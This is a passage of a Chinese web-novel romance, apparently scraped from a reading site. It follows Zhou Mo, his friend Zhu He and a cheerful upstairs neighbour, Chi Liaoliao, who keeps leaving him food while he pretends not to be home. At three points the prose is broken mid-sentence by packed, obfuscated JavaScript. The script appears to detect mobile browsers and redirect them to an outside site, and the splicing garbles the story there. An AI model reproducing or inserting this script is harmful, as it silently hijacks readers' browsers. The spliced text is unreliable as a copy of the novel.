要说祝赫这人，欠揍是真欠揍，仗义也是真仗义，虽然在医院陪床陪得百无聊赖，但还是言出必行地守着周默挂完了最后一瓶点滴，又贴心周到地把人送回了家。 汽车驶到小区楼下，周默拎着医生开的药推门下车，祝赫拎着那袋子苹果紧随其后。 两人一前一后进了电梯，周默刚按下8楼按钮，就听见外面传来急促的喊声： “等一下等一下！” 他立马听出了来人的声音，二话不说，转手就按下了关门键。 此时此刻，一向泰山崩于前而面不改色的Mo神心里只有两个字： 快跑！ 然而眼看电梯就要阖上，他还没来得及松口气，就被一旁祝赫眼疾手快地打乱了计划。 “哎，有人有人！”他提醒着，赶紧按下开门键。 周默：“……” “哦，按错了。” 话音刚落，门外迟了了已经跑了过来。 “谢谢谢谢！”看到马上闭合的电梯重新打开，她连声道谢，等来到门口一抬头，面上又是一喜，“周默！” 哟？！ 祝赫一听，立马转头看向他：认识？ 周默没理他，对迟了了点下头算是打了招呼，便后退一步，将手里的药装进外套口袋里。 迟了了一脸灿烂地走进电梯，按电梯时见上面只亮了一个8楼，再看看身后的两人，顿时明白了什么，不由好奇地打量起祝赫。 而在她看祝赫的同时，祝赫也在看她。 眼前这个圆眼睛娃娃脸的小姑娘实在很合他的眼缘，毛绒绒弯曲曲的卷发上戴着条颜色鲜艳的编织发带，再配上她身上的荧光绿T恤、火龙果色灯笼裤和大头马丁靴，打眼一看，整个人简直像从童话故事里走出来似的，别提多可爱了！ “你是周默的朋友吗？”正想着，他就听到她这样问自己。 声音脆脆的，语调又软软的，像只在枝头叽叽喳喳的小喜鹊。 祝赫对上迟了了好奇的目光，挑挑眉：“对呀，小妹妹，你是谁呀？” 他说这话时声调不由自主地夹了起来，立马引得周默嫌弃地瞥来一眼。 “正常点。”别跟个变态大叔似的。 祝赫瞪他一眼，清清嗓子，继续笑眯眯地看着迟了了。 “我是周默楼上的邻居，”迟了了倒觉得这人挺有意思的，坦言道。 “哦？楼上邻居？”祝赫诧异地又看了眼周默，继续问，“你多大了呀，看起来还很小，还在上学吗？” “我早就毕业了，”迟了了说，“我是画画的！” “画画？艺术家呀！”祝赫赶紧掏出手机，“来来，咱们加个好友，我还是第一次认识搞艺术的呢！” …… 要不说两个社牛的交流效率绝对是N倍速的，电梯里短短十来秒的时间，迟了了和祝赫就已经相谈甚欢，不仅互加了微信、互换了姓名，一人还给另一人取了昵称。 “小知了我们到了！拜拜，下次见哦！”8楼电梯外，祝赫恋恋不舍地挥手道别。 迟了了也报以同样的热情，小手招得跟上了电动马达似的：“拜拜祝赫！拜拜周默！” 直到电梯再次阖上，祝赫才终于意犹未尽地回过头来，可不想一转头就对上了周默冷冰冰的目光。 “喝！吓我一跳——” 他后退一步，拍拍胸口，迎上周默的视线：“干嘛？” 周默没有回答，上下扫了他一眼，然后嫌弃地转身开门去了。 嘿，祝赫眉尾一挑，旋即发出一声嗤笑，抬步跟上去，带着一丝挑衅的口吻说：“你这邻居小姑娘，还挺可爱的呀。” …… 昨天半夜被过敏折腾得头晕呕吐，紧急换了身衣服就给自己打了个120，医院里躺了大半天回来，周默到家第一件事，就是去洗澡。 祝赫自己一个人在外面倒是毫不见外，像是回到自己家一样四处溜达了一圈，等听到主卧传来动静才走过去，双手一抱，倚在门旁，看着下身一条黑色休闲长裤的周默正往身上套一件纯白T恤。 紧实的腹肌一闪而过，引得祝赫作怪地吹了声口哨。 而他也成功被周默瞪了一眼。 祝赫得逞笑笑，适可而止：“这房子看起来还可以呀，小区环境也不错，你那个跟这儿差不多？” 周默嗯了一声，绕过他去厨房倒水喝。 祝赫见状也跟上去，等他刚倒好一杯便毫不客气地伸手端过来，浅尝一口后又问：“不过也是稀奇了，你这性格，这才来几天，竟然都跟楼上的邻居混熟了？” 周默看着被他抢走的水杯，顿了顿，一言不发地又从旁边重新取了个杯子。 “不熟。”他纠正道，“房东的朋友。” 混熟了——不熟。 楼上邻居——也是房东的朋友。 这话要不是祝赫，还真不一定能立马捋顺。 他似笑非笑：“不熟人家对你这么热情？” “她对你也挺热情的。” “那你这是承认了？” “承认什么？” “你们很熟啊，”祝赫耸耸肩，“反正我跟小知了我们是朋友了。” 周默：“……” 半分钟都不到，也能算熟？ 三分熟的牛排都没这么快吧。 “反正我跟她不熟。”周默坚持。 “行——不熟——”祝赫点点头，阴阳怪气地拉着声音，又意有所指地瞥向一旁餐桌上的纸袋。 他刚刚可是看过了，那上面还有两人“不熟”的证据呢。 周默顺着他的目光看过去，平淡的表情瞬间一裂。 只见他一个箭步过去，拿起纸袋就塞进了祝赫手里：“送你了。” “哎——”祝赫举起双手，“君子可不夺人所好啊。” “……”周默白他一眼，“我吃不了。” 祝赫一怔，将杯子放在一旁，打开纸袋一看立即明白过来，随后又哭笑不得：“什么意思啊你，把我当垃圾桶啊？” “怎么，嫌弃？”周默反问，“不是说好朋友吗？” 祝赫被反将一军，噎了一下：“……周默你这张嘴真是，每天都是用毒药刷牙的吧？” 周默淡淡扯了下唇角：“过奖了。” - 楼上，迟了了刚进门就接到一个电话，拿起手机一看，立马深吸一口气。 “喂，二爸好久不见~您在那边考察还顺利吗？”接起电话，她一边换鞋放包，一边贴心问候。 “哎了了，好久不见呀，我这边都好都好，一切顺利！你怎么样呀，最近是不是又到时间了？”听筒里，传来一个慈祥亲切的中年男人的声音。 迟了了走到沙发前盘腿坐下，点了点头：“嗯，刚回来，您放心，没什么问题，一切正常！” “好好好，那就好！”那边连声欣慰道。 可紧接着他又迟疑起来：“那个，了了啊……” 迟了了眼珠子一转，心想该来的还是来了，但她还是佯装不知，小棉袄似的问：“二爸怎么了？” “那个，了了啊，二爸可能，做错了一件事……”对面酝酿许久，终于小心翼翼地开了口。 “什么事呀？” “就是，许愿那臭小子的房子……”中年男人，也就是许愿爸爸，吞吞吐吐地说，“被我，一不小心，给租出去了……” “哦！您说这个呀，我知道了呀！” 许愿爸爸当然也已经知道了她知道的事实，所以才更加心虚：“唉，那个，了了啊，这事是二爸做得冲动了，你珍珍妈妈也骂过我了，二爸跟你道歉啊！这个房子，我本来没想真租出去，只是想吓唬吓唬那臭小子的，没想到他没当回事儿，结果这就……” “嘿嘿，二爸我没事，你不用跟我道歉的。”迟了了说。 “不是，你听二爸说，”那边又道，“我本来是留了小半个月的时间，想着让许愿在租房的这个小伙子搬进来之前回来的，这样的话，也不连累人家折腾，可没想到……唉，现在人家已经搬进来了，二爸也不好转头又把人赶出去，人小伙子毕竟刚回国，这才算安定下来，所以……” 所以？ 迟了了精神一振！ “所以你放心，等我过几个月回去，立马跟他沟通，帮他再找个房子，这几个月……你就先委屈一下，行吗？” 委屈？ 不委屈！ “不用再找房子，也不用沟通！”迟了了忙说，“我跟他相处得可好了，我们现在已经是朋友了！” “啊，是朋友了？”许爸爸被这进度吓得一惊。 这才几天啊，就是朋友了？ 虽然知道这丫头是个自来熟，可他分明记得当初签合同的时候，看那小伙子是个慢热的性子啊，难道就这么几天也被自己干闺女的魅力给征服了？ 还是说自己这么多年的阅历竟然看走眼了？ “对呀，我俩特别聊得来！他人挺好的，我们……简直一见如故！”迟了了说得信誓旦旦，就差指天发誓了，“所以二爸，你可千万别再提让他提前搬走的事了，这多不好意思啊，有损我们的友情！” “你，确定？”许愿爸爸还是有些怀疑。 “我确定！”迟了了斩钉截铁，“而且二爸，您千万别再催许愿回来了，到时候人家还在这住着，许愿突然回来，多尴尬！” “额，好像是有点……那，就让他继续住着？” “住着住着！” 不管怎么样，迟了了开心，许愿爸爸也就放心了，他又沉吟片刻，总算松了口：“那行，那就让他先住着吧，不过了了你也注意着点，跟不太知根知底的人交朋友，得保持点戒心，啊？” “嗯嗯，我知道的！” 这时，电话里远远传来有人喊“许教授”的声音，迟了了赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818838|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说：“二爸你快去忙吧，注意身体，我这边不用担心！” “那行，我先工作去了，你平时也注意身体啊，我听你珍珍妈妈说你现在还是总熬夜，这可不行，工作都是其次的，还是得早睡早起、锻炼锻炼身体……”正事说完，许愿爸爸又立刻切换成絮絮叨叨小老头模式，交代个不停。 那边又喊了一声“许教授”，迟了了连忙趁机打断他：“嗯嗯我知道了，二爸你快去忙吧，人家都催了，拜拜拜拜拜拜拜拜——” “哦哦哦哦，行行行，拜拜拜拜！照顾好身体啊！” …… 挂断电话，迟了了总算长舒一口气，如释重负地仰面躺倒在沙发上。 可等缓过来，她又心虚地抬起手，后知后觉地捂住自己的嘴巴——她刚刚，好像牛皮吹大了…… 她跟周默哪里是“一见如故”的好朋友了！ 别说好朋友，看刚刚电梯里那态度，自己跟他顶多是个“点头之交”！ 这可怎么办？万一哪天二爸或者珍珍妈妈过来，发现新邻居对自己爱答不理的，岂不是又要动念头…… 嘶—— 迟了了将腿一盘，左手托腮杵在腿上，右手手指在膝盖上急促地弹跳着。 让她想想，该怎么改变眼下这局面，就算不能让新邻居在这里住得乐不思蜀，也得保证他准备搬走的时候自己能拿到第一手消息，这样也好比二爸早一步做打算。 ……更何况，她还有作业呢！ “当当当——” 就在她冥思苦想之际，门外传来了几下不急不缓的敲门声，紧接着还有一道和蔼的声音：“小迟你在家吗？” 迟了了一个激灵回过神来，赶紧从沙发上跳下来，光着脚就朝门口跑去：“哎张奶奶，我在呢！” 大门打开，一个头发花白、面容慈祥的老奶奶正笑呵呵地站在门外，手里端着个盘子，盘子里整整齐齐地码放着好几块色泽金黄还撒着黑芝麻做点缀的黄油饼干。 “张奶奶，中午好呀！”迟了了一开门就笑嘻嘻地朝她喊道。 来人正是对面902的邻居，张奶奶。 老人今年六十多岁，老伴已经去世，有个独生子在国外，平日里都是自己一个人生活。 因为是独居，所以每每做了什么好吃的好喝的，老人家总爱给迟了了送过来一些。 看到迟了了，张奶奶脸上的笑纹又深了几分：“中午好中午好！来，小迟，尝尝我刚烤出来的饼干。” 迟了了看着她手上的盘子，惊讶极了：“这是您自己烤的？我说刚刚怎么闻到一股香味呢，还以为是附近哪边新开了家蛋糕店呢！” 不着痕迹的夸奖正好哄在张奶奶的心坎上，她顿时呵呵直笑：“这是我昨天在烘焙课上刚学的，也是头一回做，”说着，她压低声音，“刚烤坏了一炉子才成的！” 话音落下，两人目光一对，不约而同地偷笑起来。 迟了了拿起一块饼干放进嘴里，下一秒眉头高高扬起：“嗯！好吃，又香又酥的！”再细细一品，“低糖的？” “没错，”这个发现显然正中张奶奶下怀，她高兴极了，像个跟好闺蜜分享秘密的小女生一样俏皮地用手指尖比了一下，“我只放了一点代糖，油也只放了一点点。” 迟了了立马给她比了个大拇指：“张奶奶您肯定是个甜品天才！” “哎哟~”张奶奶被夸得有点不好意思了，捂着脸说，“都快七老八十了，算哪门子天才哟！” “当然算的！”迟了了咽下嘴里的饼干，郑重其事地说，“天才又不分年龄！” 张奶奶再也忍不住，哈哈大笑起来。 “哦对了，”可紧接着，迟了了想到什么，表情又严肃起来，“张奶奶您烤可以，但就算是这种低糖低油的也要少吃哦，面粉升糖也很快的！” “嗐！我知道，上课的老师都跟我们说了。我就是闲着没事自己坐坐，分给大家尝尝。屋里还有点呢，等下午孩子们都放学了，我去楼下给他们也分分！” 迟了了这才放心地点点头。 …… 送走张奶奶，迟了了端着盘子回到屋里，坐在沙发上吃着饼干继续思考刚才的问题——怎么才能跟周默成为朋友？ 虽然闯闯和许愿都说自己人缘好、讨人喜欢，可要真让迟了了总结经验和方法论，她还真说不出个所以然来，之前认识那么多人，包括大学那个教美术史的老师，她也并没有刻意去跟对方搞好关系，好像自然而然的，关系就近了。 不知是应了那句“有心栽花花不开，无心插柳柳成荫”，还是因为楼下新邻居不太好接近，现在迟了了有意要跟周默打好关系，反而无从着手了。 头上绞尽脑汁，嘴里咔嚓咔嚓，迟了了愁眉苦脸地思考着…… 突然，她怔了一下。 几秒后，她缓缓低头，看向手里的饼干…… 然后，眼睛一转，计上心头。 11. 在吗不在 “当当当当！当当当当！” 就在祝赫正像个二世祖一样坐在椅子里搜索菜单，好让这顿用一袋苹果换来的“暖居宴”更加物超所值时，门外响起了敲门声。 “我来开我来开！”他伸手拦住周默，忙不迭道，“大厨你专心做菜就行。” 周默听着这个称呼一阵无语，但也没再动，转身看着他小跑到门口，拉开门，然后惊呼： “哟！小知了？” 周默唰地回过头去，装作什么也没听到。 然而门外迟了了清脆的嗓音还是不可避免地传了过来：“祝赫，周默呢？” “他做饭呢，你找他有事儿？” “哦，是这个，住我对门的张奶奶烤了饼干，可好吃了，我给他也送点尝尝。” 又是甜点！！！ 周默一听，瞬间绷不住了，赶紧放下刀就往外走。 可还是慢了一步，刚从厨房出来，他就见祝赫已经接过装饼干的袋子，毫不见外地说：“哎呀这怎么好意思呢，不过看来我今天有口福了，谢谢你啊小知了！” 迟了了笑得心满意足：“不用客气！” 抬眼见到穿着围裙出来的周默，她又热情地朝他挥挥手：“这饼干刚出炉的，还热着呢，你们趁热吃呀！对了，这是低糖低油的，很健康的！” “好嘞！”祝赫满口答应。 送走迟了了，祝赫一回头就对上周默明显不认同的表情。 “嗨呀，这么严肃干嘛，送点小饼干而已，别大惊小怪的。”祝赫嬉皮笑脸地说着，拿起一块饼干咔嚓就咬了一口，“诶，别说，确实好吃，你也尝尝？” 他将手里的袋子递出去，转而一顿，又收回来：“哦，忘了，玉米油。” 可惜了，这么美味的饼干和小知了的一番好意，只能自己独享了！ 想到这，他“遗憾”得直摇头。 “……”周默蹙眉看着那袋饼干，动了动唇。 但最后还是什么都没说，掉头回厨房继续做饭。 - 一次蛋糕、一次饼干，两次美食外交，新邻居都没有拒绝，这无疑给了迟了了巨大的鼓舞。 于是在接下来的日子里，当周默准备用冷处理的方式，将这段有些过界的邻里关系重新拉回到应有的分寸时，却发现剧情开始朝着他完全失控的方向狂奔而去。 因为，他可以说是受到了来自迟了了轰炸式的投喂—— 今天是“张奶奶又做了花糕，她手艺很好的，你尝尝”； 明天是“小区保安蔡大叔儿子结婚的喜糖，给你两个，沾沾喜气”； 后天是“下雨了，路上看到有阿婆摆摊卖莲蓬，我就全买回来了，一起吃一起吃”…… 这些也就算了，还有时候是“附近奶茶店做活动，买一送一，给你一杯”。 如此这般，林林总总，五花八门。 投喂的花样多、来源广，人缘也是真的好——周默有一次曾默默这样评价过——然而也不得不说，这些“热情”，委实有些打扰到他了。 一开始，对方似乎想着他白天要上班，晚上才回来，所以都是等到晚上八九点钟才“上门直投”，可这时候一般是周默的洗漱时间，所以头两次还真闹得他有点尴尬。 后来迟了了学精了，将时间错开了点，可如此一来，又总撞上周默工作或看书的时候。 每次精力正集中，就被乍起的敲门声打断，次数一多，周默难免有些烦躁。 期间不是没婉拒，对方也稍有收敛，但……也只是“稍有”而已。 一来二去，他索性不管那么多了，就算对方敲门也不应。 反正她又不知道他在精卫的坐班是做三休四。 可没想到她又改发微信过来，上来先问他在不在家。 那……自然都是“不在”的。 迟了了只当他和肖音韬一样，工作忙、加班多，于是贴心地将东西挂在他门把手上——这段时间，门把手确实辛苦了些——等个把小时再下来看看东西有没有被拿进去。 拿进去，她就放心了；没拿进去，她就再提醒一下。 不过也有不能放太久的东西，例如奶茶这类的，她就会跟周默说一声，然后拿回去自己喝。 面对如此高频率且丝毫不加掩饰的热络，作为一个有着正常性别认知且被追求经验还算丰富的男性，周默不是没有想歪过，然而细想又总觉得不像。 毕竟，哪有女生追人会怕奶茶放太久坏掉，又拿回去自己喝的呢？ 于是，周默将这个可能性在心里打了个大大的叉，并将她的这一系列行为归类为“过于热情的邻里交往”。 然而这样的话，便有另一件事让周默颇为苦恼——他是不是需要，回个礼？ 老实说他是不大想回的，毕竟自己是被动接受这些投喂，可到底是邻居，对方一次次送东西，还都是好意，自己如果不礼尚往来一下，总觉得不大合适，像是占了人便宜。 用祝赫的话来说，就是没情商、没礼貌。 然而回什么…… 周默环视屋子一圈，毫无头绪。 他自认不算是个很有生活情趣的人，也没什么爱好，更不喜欢吃零食，实在找不出什么能拿出手送人的东西…… 事情就这么陷入了死胡同。 稍微有点计算机常识的人都知道，当一个计算机系统进入死循环时，最简单直接有效的办法，就是强制重启，套用到眼下的情形中，对应的应该就是周默重新搬家，彻底远离迟了了这个Bug。 然而这个念头一出现，就被周默否决了。 不值当。 而且……看着电脑上新发来的室内设计图，他还不能搬。 事情暂时无解，周默只能等待时机，看有没有机会debug了。 - 又是一天，周默没去公司。 刚过中午，他吃过午饭，坐在客厅沙发里看书。 书平摊在膝上，修长匀称的手指无意识搓开书页的右下角，隐约露出下一页顶部用大号加粗字体写着的“心脏xxxx”字样的大标题。 正看得入神，一旁反扣在沙发上的手机响了一下。 周默没有管，而是等将眼下这章最后几段看完，才伸手拿过手机。 开屏，解锁，绿色方形图标上亮着个红色“1”字角标。 周默漫不经心地点进去，另一手手指翻动，已经为进入下一章阅读做好了准备。 而紧接着，刚从手机屏幕上扫过的视线倏地一滞，上一秒还心不在焉的目光瞬间露出几分不耐—— 并不多的对话条目里，排在最上面的，是个手绘的泡面头头像。 点开消息，还是没什么意外的一句话： 【周默你今天在家吗？】 周默没有立即回复，抬指将对话框往上翻了翻，连续几屏的聊天记录里，充斥着大差不差的你问我答： ——【周默，你现在在家吗？】 ——【不在。】 ——【周默，你下班了吗？】 ——【还没。】 ——【周默你今天也加班吗？】 ——【对。】 …… 指尖重新划到最下面，点开输入框，他再次毫不犹豫地键入两个字： 【不在。】 然后将手机扔到一旁，收回精力继续看书。 - 同一时间的901。 看到周默发来的那两个字，迟了了如释重负：“不在，那我就放心了！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818839|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她一个扬手，将手机扔到沙发上，抄起美工刀就兴冲冲地拆起了快递。 摆在她面前的，是个细长形状的纸盒，粗倒是不粗，长度也就不到一米。迟了了先划开纸盒一端，然后掀开盖子，将盒子倒过来抖了两下，“唰”地一下，另一个包装更精美的长方盒子从这个土黄色的快递盒里掉了出来。 迟了了拿刀继续划，然后再倒。 这次掉出来的不再是个盒子，而是个塑料袋包裹着的灰紫色卷成卷的垫子。 垫子一掉出来，便在地板上发出“嘭”的一声闷响，一头还卷着，另一头已经被摔得散开。 将两个无用的纸盒和塑料袋踢到一边，她弯腰拣起散落的那端抖了抖，没两下垫子便被抖开，露出正面用白色细线勾勒的方形格子和四个三角格子。 显而易见，这是个跳舞毯。 前几天，闯闯从网上看到这东西，想到迟了了整天窝在椅子里画画，一坐就是大半天，很需要锻炼一下，便给她发了链接过来。迟了了一看，确实挺有意思，而且寓“练”于乐，相信买来之后肯定不会像那些哑铃、壶铃、跳绳、弹力带、瑜伽垫、泡沫轴……一样，三分钟热度！ 于是，她立马下单，今天正好送到。 将地上散落的玩偶坐垫，还有茶几小桌搬到一旁，迟了了将跳舞毯铺在电视机前，又研究了一番说明书，按照要求连接好电视机、主机盒子和手环感应器，随机选了一节课，开始验货。 - 周默回完消息便没再管手机，可又看了两页书后，他恍然反应过来有点不对劲。 按照前几天的惯例，在自己回复“不在”后，对方就该接着说要给自己送什么什么东西，先放在门口，让自己回来记得取了，可这次怎么……这么安静？ 他转头看向旁边趴着的手机，眼睛微眯，揣摩着迟了了到现在还没有下文的原因。 而不等他想出个所以然来，头顶响起的“咚咚”声已经给了他答案—— 咚、咚…… 咚、咚咚…… 咚、咚、咚…… 最开始断断续续的几下之后，某人似乎渐渐摸到了节奏，声音开始变得规律起来。 咚咚、咚咚咚、咚咚、咚咚咚…… 周默仰起头，木然朝上看去。 老实说，那声音一开始并不明显，尤其是在这四下明亮的白日里，混在窗外杂乱的风声、车声、楼下小孩的嬉闹声、小区里不知哪家还在挥舞锅铲的锵锵声滋啦声里，更加不引人注意了。 可巧就巧在，这声音传来的地方，不偏不倚正正好，就在周默头顶的正上方…… 如果没发现也就算了，可一旦开始注意，那感觉就像是身处在震中，持续不断的低频噪音几乎震得他额头血管一蹦一蹦的，心脏也是咚咚咚的接连重击。 不知是不是心理作用，他感觉自己仿佛能看到天花板正往下落灰…… 意识到这一点，他来不及多想，立马拿起杯子和书，快步挪到书桌后。 又等了会儿，那声音还在响着，周默有些无奈地放下杯子，重新起身回到沙发，拿过手机准备发消息。 可刚打开对话框他就停住了—— 什么叫自作自受？ 这就叫自作自受。 刚刚他谎称自己不在家，以为能拒绝对方的投喂，哪里想到对方压根不是要来送东西，而是怕弄出的噪音又打扰到自己……可谁让他“以小人之心度君子之腹”——情急之下周默也顾不上这词用得对不对了——跟对方撒了个不在家的谎？ 现在好了，你不在，她就可以放心蹦了。 不仅放心蹦，你还完全没有由头去劝阻，甚至连上一次那样上楼敲门都不行！ 毕竟，谁让你“不在家”呢？ 12. 生活不易 那天的撒谎，让周默真真切切尝到了自食苦果的滋味。 而跳舞比跳绳有意思，迟了了坚持了挺长一段时间，于是最后，周默不得不翻出耳机堵上耳朵，才算是隔绝了噪音的打扰。 第二天，又到了周默去精卫点卯的日子。 就在他不紧不慢等电梯时，显示屏上从1开始慢慢增大的数字在变成8之后并没有停下，而是又跳了一下——停在了9上。 失神的瞳孔倏地聚焦，周默心中警铃乍响！ 来不及细想，他立刻一个箭步回到门口，三秒之内按指纹、开门、进门，然后关门！ 一气呵成！ 而就在他关上门的下一秒，电梯叮的一声停在8楼，不锈钢门缓缓打开。 迟了了正低头跟肖音韬沟通刚交的画稿，察觉电梯停下，头也不抬地往旁边挪了一步，可过了会儿，却没听见有人进来的动静，这才疑惑地抬起头。 这一抬头，她发现电梯竟然停在了8楼，而电梯门正在一点点合上。 “哎！” 她不禁喊了一声，赶紧抬手重新按开门。 然而电梯门重新打开，门外却空无一人。 她更奇怪了，抬脚挡住电梯门，同时小心翼翼地探出头望了望。 可目之所及，门廊里一个人影都没有。 “周默？”她又试探着喊了一声。 清脆的声音在不大的空间里传开，空荡荡飘了一会儿后撞上墙壁又折返回来，凭空被放大了数倍。 奇怪了…… 迟了了歪歪脑袋，又等了两秒，还是没听见任何动静。 电梯门又一次撞上她的脚尖，随后因为等得太久，开始发出嘀嘀的催促声，迟了了鼓鼓脸颊，对着空气说了句：“那我就先下去了哦？” 回答她的还是自己的声音：下去了哦~~~ 难道是电梯抽风了？ 她摇着头，嘴里含混不清地嘟哝着退了回去。 这次两爿电梯门终于成功相会，电梯继续下降，8楼门廊恢复安静。 又过了半分钟，801的大门才发出“咔”的一声轻响，随后打开了一条缝——周默就从这道缝隙里探出一只眼睛，不动声色地打量着门外。 直到确定外面确实没动静了，他才放心从门后走出来。 “咳咳。” 清了清嗓子，又理理衬衫领口，他气定神闲地走到电梯外，眼看着电梯显示到达一楼，仍然没有着急下去，而是继续等着。又过了片刻，他抬腕看了眼手表，估摸着人应该已经走远了，这才不慌不忙地按下电梯按钮。 举手投足间尽显从容淡定，仿佛刚刚仓皇逃窜的人不是他似的。 …… 然而，人算不如天算。 就在周默以为今天顺利逃过一劫时，前脚刚从电梯出来，打开单元楼大门的他，就被定在了原地。 几步之外，那个他本以为已经走远的人正背对他蹲在地上，给一个小女孩……穿鞋子。 - 迟了了将手里的粉色小皮鞋在地上磕了两下，正要给扶着自己肩膀的小女孩穿上时，便听见身后传来单元楼玻璃门被推开的声音。 担心自己蹲的位置挡了路，她连忙牵着小女孩往旁边挪了挪，挪好后又回头准备给对方道个歉，可没想到这一回头，正好撞上周默没来得及收回的视线。 咦！ 她双眼一亮：“周默！还真是你呀？” 周默：“……” “什么？” 事到如今，他除了硬着头皮装糊涂似乎没有别的选择了。 “刚刚是不是你按了电梯又回去了？”迟了了不疑有他，咧嘴笑问。 “额——”周默目光闪烁了一下，摇头，“不是我，可能是对面的吧。” “嗯？”迟了了一下子疑惑起来，歪头眨了眨眼，觉得这事儿有点奇怪，可转眼见他手里拎着电脑，立刻又将这个问题抛诸脑后，“你要去上班了吗？” 周默松了口气：“对。” “那要我送你吗？”迟了了仍不忘推销自己的小粉车。 “不用！”刚松下来的一口气顿时又提了起来，周默忙不迭道，“我有车。” 迟了了：“诶？” 见她还要再说什么，周默作势看了眼手表，抢先开口：“不好意思，我快迟到了，得先走了。” “哦哦！那你快去，拜拜拜拜！”迟了了一听，赶紧收回已经到嘴边的话，抬手冲他摇了摇。 “再见。” 一口气总算彻底松了下来，周默一秒钟都不敢再耽搁，逃也似地就朝路边停车位上一辆高大的黑色吉普走去。 等他走后，迟了了低下头，继续给小女孩穿鞋子。 等粘好鞋子上的魔术贴，她轻轻拍了两下：“好了，看看还有没有小石子？” 然而小女孩的脚却并没有按她说的动，而是稍稍一转，指向一旁。 迟了了不解地抬起头，却见小丫头正巴巴地望着周默离开的方向，一脸的望眼欲穿。 嘿？！ 迟了了眼中兴味盎然，没有打断她，而是把脑袋也凑过去跟小丫头脸贴着脸：“看什么呢？喜欢这个大哥哥呀？” “嗯嗯！”才四五岁大的小丫头性子倒挺直爽，连连点头，“大哥哥好高，比我爸爸还帅还高！” 嗯，这倒确实…… 迟了了回想着小丫头爸爸近几年来愈发圆润的肚子，不由感慨万千。 而且周默的身高，她估摸着得有差不多一米九了吧？ 正想着，小女孩又回过头来看向迟了了：“可是三三姐姐，这个大哥哥怎么在躲你呀？” “嗯——啊？”迟了了差点以为自己听错了，“躲我？” 她伸出一根手指，难以置信地指着自己的鼻子问。 “嗯！”小丫头瞪着天真无邪的大眼睛，十分肯定地点了下头。 迟了了对着她带着些怜悯和安慰的眼神乐了，想笑又绷住唇，努力做出一副紧张的表情问：“你从哪里看出来的？” “一个人不想和另一个人相处的时候，就会走得特别快，像逃跑一样。”小女孩言之凿凿，“我奶奶看的电视剧里都是这么演的！”说完，像是戳破了这个事实怕迟了了难过，还抬手拍了拍她的头。 “……”迟了了抬眼看看脑门上的小手，一阵哑口无言。 末了，她拿下小女孩的手，握在自己掌心里捏了捏——嗯，软乎乎的真舒服，不够，又捏了捏她的小脸，才说道：“小茉莉啊，你还是太小了，不知道迟到的后果有多严重！不过没关系，等你上了小学就明白了！” “啊？”小女孩瞪着大眼懵懂地看着她。 “嗯。”迟了了又肯定地重重点头。 等到回楼上拿外套的小茉莉奶奶去而复返，谢过迟了了帮忙照看孙女又道别离开后，迟了了看着仍带着一头雾水的小朋友，露出“和善”的微笑： 人类呀，还是得接受社会的毒打，不然就容易胡思乱想，哼！ - 又是深夜。 迟了了结束一天的工作，搁下画笔长长伸了个懒腰。 这段时间，《萤火虫奇遇记》正式进入绘制阶段。 这是一个以帮助小朋友克服黑暗恐惧为主题的绘本故事，讲述的是一只名叫“星星”却怕黑的萤火虫第一次在夜晚独自外出觅食的经历。从一开始的害怕，到慢慢发现黑夜的奇妙之处，并遇到一系列惊奇有趣的景象和小动物，甚至还交到了几个好朋友，“星星”渐渐克服了对黑夜的恐惧，发现了属于夜晚的别样魅力。 因为是以黑夜为故事背景，为了更好地找到创作状态，这几个月来，迟了了早就习惯了在晚上进行创作。 今天也不例外。 此时一完成任务，她立马像只窜天猴似的冲出画室、冲向阳台，然后在茫茫夜景中狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说起加班，楼下的新邻居，最近是不是也常加班来着？自己每次给他送吃的，就算是晚上，他也总说在上班，没在家。 果然！程序员的高薪也不是好拿的。 不过—— “三三姐姐，这个大哥哥怎么好像在躲你呀？” 奶声奶气的话不期然再次响起，在这夜深人静的时刻，将她当时没有反应过来的一些东西再次唤醒。 “躲我？”迟了了自言自语道。 有吗？ 没有吧？ 但似乎…… 她翻出手机里的聊天记录——都是自己主动询问对方，不过这在她所有的微信聊天里是常态，毕竟她话痨嘛，迟了了不觉得这有什么。 可世上的很多事情就是这样，当你不在意时，往往并不会察觉有什么不对，可当你拿着一个结论再去回溯，又会发现处处都是蛛丝马迹。 和周默的聊天内容没什么花样，说来说去不过是自己给他送东西吃，而他大多时候都是加班不在家。 之前迟了了还觉得新邻居工作真辛苦，于是更加想要给他“送关怀”，也好趁机拉近距离。可眼下结合小茉莉的话再回溯这些对话内容…… 左右字数和热情指数严重失衡，自己这边都是一段一段的主动询问，而对面回复的却常常只有短短两个字—— 不在、不用、谢谢、好吧…… 还有，他白天说什么来着？ 8楼的电梯不是他按的？ 可是，住802的人最近根本没在家呀！ 事情越想越向着某个她十分不愿意接受的方向偏移，百转千回间，迟了了白天教导小朋友的自信像是被戳破了的气球一样，“噗呲——”一下泻了个干净。 不会吧？！ 可她又不死心地想。 自己这么热情友好、乐于助人，结果好感度没刷成，还起反效果了？ 为什么呀？ 13. 了了叹气 